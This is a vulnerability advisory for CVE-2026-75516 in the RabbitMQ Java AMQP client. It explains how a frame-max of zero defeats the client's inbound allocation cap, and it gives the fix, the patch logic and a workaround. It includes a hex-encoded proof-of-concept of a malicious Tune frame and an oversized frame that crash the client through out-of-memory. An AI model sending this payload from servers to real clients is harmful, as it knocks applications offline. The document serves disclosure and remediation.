highCVE-2026-75516Sep 17, 2026

CVE-2026-75516: RabbitMQ Java Client Frame-Level OOM via Math.min with Unlimited Frame Size

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious or man-in-the-middle AMQP server can crash any RabbitMQ Java client by sending a frame-max value of zero during handshake, silently disabling the 64 MB inbound allocation cap and allowing…

Packagecom.rabbitmq:amqp-client
Ecosystemmaven
Affected< 5.34.0
Fixed in5.34.0

The problem

In AMQConnection.java, after Connection.Tune negotiation, the client sets its frame size limit with Math.min(this.maxInboundMessageBodySize, frameMax). The AMQP spec uses frameMax = 0 to mean "unlimited", but Math.min(67108864, 0) evaluates to 0, not to the intended 64 MB cap.

That zero is then passed to Utils.framePayloadLimit(0), which interprets any value <= 0 as Integer.MAX_VALUE. The protection introduced by maxInboundMessageBodySize is entirely defeated. A single malicious frame then causes Frame.readFrom() to execute new byte[frameSize], allocating up to ~2 GB and crashing the JVM process.

Proof of concept

A working proof-of-concept for CVE-2026-75516 in com.rabbitmq:amqp-client, with the exact payload below.

text
# Step 1: malicious server sends Connection.Tune with frame_max = 0
# AMQP 0-9-1 wire encoding (hex) -- Connection.Tune (class 10, method 30)
# Frame type 1 (METHOD), channel 0, payload length 12
01 00 00               # type=METHOD, channel=0
00 00 00 0C            # payload size = 12 bytes
00 0A 00 1E            # class-id=10 (connection), method-id=30 (tune)
00 FF                  # channel-max = 255
00 00 00 00            # frame-max = 0  <-- "unlimited" per spec; Math.min kills the cap
00 3C                  # heartbeat = 60 s
CE                     # frame-end

# Step 2: after Tune-Ok, attacker sends any frame type with an oversized size field.
# Frame type 1 (METHOD), channel 1, declared size = 0x1FFFFFFF (~512 MB)
# Client calls new byte[0x1FFFFFFF] in Frame.readFrom() before reading any content.
01 00 01               # type=METHOD, channel=1
1F FF FF FF            # declared frame payload size = 536870911 bytes (~512 MB)
# ... client allocates the array immediately -> OutOfMemoryError

The root cause is a semantic mismatch: AMQP uses frameMax = 0 to mean "no limit", but Java's Math.min treats it as the integer zero, always winning against any positive cap. Once the frame handler is configured with limit zero, Utils.framePayloadLimit(0) returns Integer.MAX_VALUE, erasing the maxInboundMessageBodySize guard entirely.

The patch replaces the Math.min call with an explicit zero-check: if frameMax == 0, use maxInboundMessageBodySize as the effective cap; otherwise take the smaller of the two. This correctly honours the AMQP "unlimited" semantic without disabling the client-side allocation guard (CWE-770).

The fix

Upgrade com.rabbitmq:amqp-client to **5.34.0** or later (commits 6d7c2bf and e7f10bf, PRs #2015 and #2016). The fix changes AMQConnection.java to treat frameMax == 0 as "use maxInboundMessageBodySize" rather than passing zero through Math.min. If an immediate upgrade is not possible, explicitly set ConnectionFactory.setRequestedFrameMax() to a non-zero value (e.g. 131072) so the negotiated value is never zero and Math.min behaves correctly.

Reported by acogoluegnes (Arnaud Cogoluègnes, Broadcom / RabbitMQ team).

References: [1][2][3][4][5][6]

Related research